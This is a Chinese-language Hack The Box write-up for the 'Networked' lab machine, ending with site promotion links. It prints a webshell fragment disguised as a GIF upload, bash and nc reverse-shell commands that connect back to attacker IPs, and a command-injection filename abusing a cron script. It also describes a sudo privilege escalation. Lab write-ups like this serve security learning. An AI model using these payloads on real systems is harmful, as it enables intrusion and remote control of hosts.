偶然从其他地方接触到了Hack the box ,从此就把它当作了渗透的学习模板
Networked是我的第一个靶场,虽然是easy的级别,但对于小白的我来说,包括工具,shell命令都是当时第一次接触,所以故写出这篇writeup,技术很菜,轻喷
靶场ip:10.10.10.146
攻击机ip:10.10.14.15
nmap -sC -sV 10.10.10.146
从80端口入手查看其web页面,右键查看源码也未找到有用的信息
直接使用gobuster去fuzz目录
gobuster dir -u http://10.10.10.146 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x php
访问photos.php和uoload.php
尝试使用文件上传,编写webshell,修改后缀名为.gif
'PleaseSubscribe']); system($_GET[
使用Burp抓包
访问其他目录寻找突破口
10.10.10.146/backup (该目录同样为gobuster fuzz出来的)
wget http://10.10.10.146/backup/backup.tar
tar -xvf backup.tar
好像直接找到了网站源码
快速筛选php代码,筛选文件中所有包含$的行(凡是$作为前缀的变量,均为php的超级变量,即内置对象)
grep -Ri '$_' * (-Ri参数代表关键字搜索)
查找submit对应的地方 /submit,通过submit 找到函数 check_file_type函数,源于文件lib.php
函数 file_mime_type()函数进行文件检查 (通过文件标示进行检查,部分文件仅查询标示头)
万事俱备,把标示头和shell组合扔上去就好了
接下来就是通过photos.php访问我们上传的资源
http://10.10.10.146/uploads/10_10_14_15.php.gif 获取资源所在路径
(以GET方式传递参数)
关于使用的bash shell
bash -i >& /dev/tcp/10.10.14.15/9001 0>&1
(指令详解)
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
(= bash i > /dev/tcp/10.10.14.15/9001 和 bash i < /dev/tcp/10.10.14.15/9001 结合)
使用bash 命令行
-i 采用交互式
">"重定向输出到 指定位置
/dev/tcp/10.10.14.15/9001 ip地址
0>&1 重定向输入
随后在参数中使用url编码 ctrl + u ,本地监听9001端口,getshell
以上为getshell的第一阶段
升级shell,参考文章:https://www.4hou.com/technology/6248.html
nc反弹的shell很容易中断连接,并且没有正确的tty(终端)与之对应
· 一些命令,像su和ssh要求一个正确的终端运行
· 通常不显示STDERR
· 无法正确使用文本编辑器 vim
· 没有标签完成
· 没有向上的箭头历史
· 没有工作控制
· 等等...
所以我们利用以下指令绑定终端升级shell
python -c 'import pty;pty.spawn("/bin/bash")';
生成一个进程,并将其控制终端与当前进程的标准io连接(生成一个控制终端,使其io与当前进程连接)
ctrl+z 挂起当前进程,设置终端tty为RAW模式
stty raw -echo
RAW模式简单说就是发送端发送的二进制码原封不动的被接收端接收
http://www.51testing.com/html/03/n-3714603.html (Raw模式简介)
此时我们的输入是没有回显的
输入 fg
指令解析:https://www.cnblogs.com/jiangzhaowei/p/8971265.html
cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
每3分钟启动一次check_attck.php
查看check_attck.php源码
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.phprn";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------n";
#print "check: $valuen";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$valuen";
mail($to, $msg, $msg, $headers, "-F$value");
根据我们上传的文件在uploads目录下的文件名10_10_16_83.php.png
getnameCheck函数返回访问ip地址和后缀
如上源码,如果check_ip返回的数组中 第一个参数为false,就会删除目标文件,具体查看check_ip函数具体内容
function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename<br>n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}
我们通过创建一个 shell 文件名 从而通过check_attack.php中的exec反弹shell
touch -- ';nc -c bash 10.10.16.83 4444;.php'
本机监听4444端口
同理 升级shell(和上面一样 此处省略)
此处就可以拿到guly用户的flag
以上部分为第二阶段
sudo -l
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
执行这个脚本 会将内容填充到ifcfg-guly这个文件中
通过 末尾 $var=$x 变量x我们可以控制 从而进行提权
至此整个过程结束
往期精彩
登陆页面的检测及渗透
渗透实战篇(一)
渗透测试信息收集的方法
常见Web中间件漏洞利用及修复方法
内网渗透 | 流量转发场景测试
Waf从入门到Bypass
实战渗透-看我如何拿下学校的大屏幕
技术篇:bulldog水平垂直越权+命令执行+提权
渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成
感兴趣的可以点个关注!!!
本文始发于微信公众号(安全先师):HTB_Networked从实战靶场学渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论